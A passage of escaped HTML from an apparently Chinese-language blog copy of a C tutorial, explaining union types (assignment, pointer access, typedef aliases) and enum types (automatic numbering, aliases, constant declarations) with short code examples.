class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eunion\u003c/code\u003e命令定义了一个包含三个属性的数据类型\u003ccode\u003equantity\u003c/code\u003e。虽然包含三个属性,但是同一时间只能取到一个属性。最后赋值的属性,就是可以取到值的那个属性。\u003c/p\u003e\u003cp\u003e使用时,声明一个该类型的变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eq.count = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e =\u003c/span\u003e {.count=\u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码展示了为 Union 结构赋值的三种写法。最后一种写法不指定属性名,就会赋值给第一个属性。\u003c/p\u003e\u003cp\u003e执行完上面的代码以后,\u003ccode\u003eq.count\u003c/code\u003e可以取到值,另外两个属性取不到值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;count is %i\\n\u0026#34;\u003c/span\u003e, q.count); \u003cspan class=\"comment\"\u003e// count is 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;weight is %f\\n\u0026#34;\u003c/span\u003e, q.weight); \u003cspan class=\"comment\"\u003e// 未定义行为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要让\u003ccode\u003eq.weight\u003c/code\u003e属性可以取到值,就要先为它赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eq.weight = \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;weight is %f\\n\u0026#34;\u003c/span\u003e, q.weight); \u003cspan class=\"comment\"\u003e// weight is 0.5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一旦为其他属性赋值,原先可以取到值的\u003ccode\u003eq.count\u003c/code\u003e属性就不再有效了。除了这一点,Union 结构的其他用法与 Struct 结构,基本上是一致的。\u003c/p\u003e\u003cp\u003eUnion 结构也支持指针运算符\u003ccode\u003e-\u0026gt;\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eq.count = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e* \u003cspan class=\"title\"\u003eptr\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eptr = \u0026amp;q;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, ptr-\u0026gt;count); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eptr\u003c/code\u003e是\u003ccode\u003eq\u003c/code\u003e的指针,那么\u003ccode\u003eptr-\u0026gt;count\u003c/code\u003e等同于\u003ccode\u003eq.count\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnion 结构指针与它的属性有关,当前哪个属性能够取到值,它的指针就是对应的数据类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003efoo\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* foo_int_p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u0026amp;x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e* foo_float_p = (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e *)\u0026amp;x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex.a = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x.a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *foo_int_p); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex.b = \u003cspan class=\"number\"\u003e3.141592\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x.b); \u003cspan class=\"comment\"\u003e// 3.141592\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, *foo_float_p); \u003cspan class=\"comment\"\u003e// 3.141592\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;x\u003c/code\u003e是 foo 结构的指针,它的数据类型完全由当前赋值的属性决定。\u003c/p\u003e\u003cp\u003etypedef 命令可以为 Union 数据类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} quantity;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eunion\u003c/code\u003e命令定义了一个包含三个属性的数据类型,\u003ccode\u003etypedef\u003c/code\u003e命令为它起别名为\u003ccode\u003equantity\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnion 结构的好处,主要是节省空间。它将一段内存空间,重用于不同类型的数据。定义了三个属性,但同一时间只用到一个,使用 Union 结构就可以节省另外两个属性的空间。Union 结构占用的内存长度,等于它内部最长属性的长度。\u003c/p\u003e\u003ch2 id=\"Enum-类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Enum-%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"Enum 类型\"\u003e\u003c/a\u003eEnum 类型\u003c/h2\u003e\u003cp\u003e如果一种数据类型的取值只有少数几种可能,并且每种取值都有自己的含义,为了提高代码的可读性,可以将它们定义为 Enum 类型,中文名为枚举。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title\"\u003ecolors\u003c/span\u003e {\u003c/span\u003eRED, GREEN, BLUE};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, RED); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, GREEN); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, BLUE); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,假定程序里面需要三种颜色,就可以使用\u003ccode\u003eenum\u003c/code\u003e命令,把这三种颜色定义成一种枚举类型\u003ccode\u003ecolors\u003c/code\u003e,它只有三种取值可能\u003ccode\u003eRED\u003c/code\u003e、\u003ccode\u003eGREEN\u003c/code\u003e、\u003ccode\u003eBLUE\u003c/code\u003e。这时,这三个名字自动成为整数常量,编译器默认将它们的值设为数字\u003ccode\u003e0\u003c/code\u003e、\u003ccode\u003e1\u003c/code\u003e、\u003ccode\u003e2\u003c/code\u003e。相比之下,\u003ccode\u003eRED\u003c/code\u003e要比\u003ccode\u003e0\u003c/code\u003e的可读性好了许多。\u003c/p\u003e\u003cp\u003e注意,Enum 内部的常量名,遵守标识符的命名规范,但是通常都使用大写。\u003c/p\u003e\u003cp\u003e使用时,可以将变量声明为 Enum 类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title\"\u003ecolors\u003c/span\u003e \u003cspan class=\"title\"\u003ecolor\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将变量\u003ccode\u003ecolor\u003c/code\u003e声明为\u003ccode\u003eenum colors\u003c/code\u003e类型。这个变量的值就是常量\u003ccode\u003eRED\u003c/code\u003e、\u003ccode\u003eGREEN\u003c/code\u003e、\u003ccode\u003eBLUE\u003c/code\u003e之中的一个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecolor = BLUE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, color); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将变量\u003ccode\u003ecolor\u003c/code\u003e的值设为\u003ccode\u003eBLUE\u003c/code\u003e,这里\u003ccode\u003eBLUE\u003c/code\u003e就是一个常量,值等于\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003etypedef 命令可以为 Enum 类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SHEEP,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WHEAT,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WOOD,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e BRICK,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ORE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} RESOURCE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRESOURCE r;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eRESOURCE\u003c/code\u003e是 Enum 类型的别名。声明变量时,使用这个别名即可。\u003c/p\u003e\u003cp\u003e还有一种不常见的写法,就是声明 Enum 类型时,在同一行里面为变量赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SHEEP,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WHEAT,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WOOD,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e BRICK,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ORE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} r = BRICK, s = WOOD;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003er\u003c/code\u003e的值是\u003ccode\u003e3\u003c/code\u003e,\u003ccode\u003es\u003c/code\u003e的值是\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于 Enum 的属性会自动声明为常量,所以有时候使用 Enum 的目的,不是为了自定义一种数据类型,而是为了声明一组常量。这时就可以使用下面这种写法,比较简单。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE, TWO };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, ONE, TWO); \u003cspan class=\"comment\"\u003e// 0 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eenum\u003c/code\u003e是一个关键字,后面跟着一个代码块,常量就在代码内声明。\u003ccode\u003eONE\u003c/code\u003e和\u003ccode\u003eTWO\u003c/code\u003e就是两个 Enum 常量。\u003c/p\u003e\u003cp\u003e常量之间使用逗号分隔。最后一个常量后面的尾逗号,可以省略,也可以保留。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE, TWO, };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于Enum 会自动编号,因此可以不必为常量赋值。C 语言会自动从0开始递增,为常量赋值。但是,C 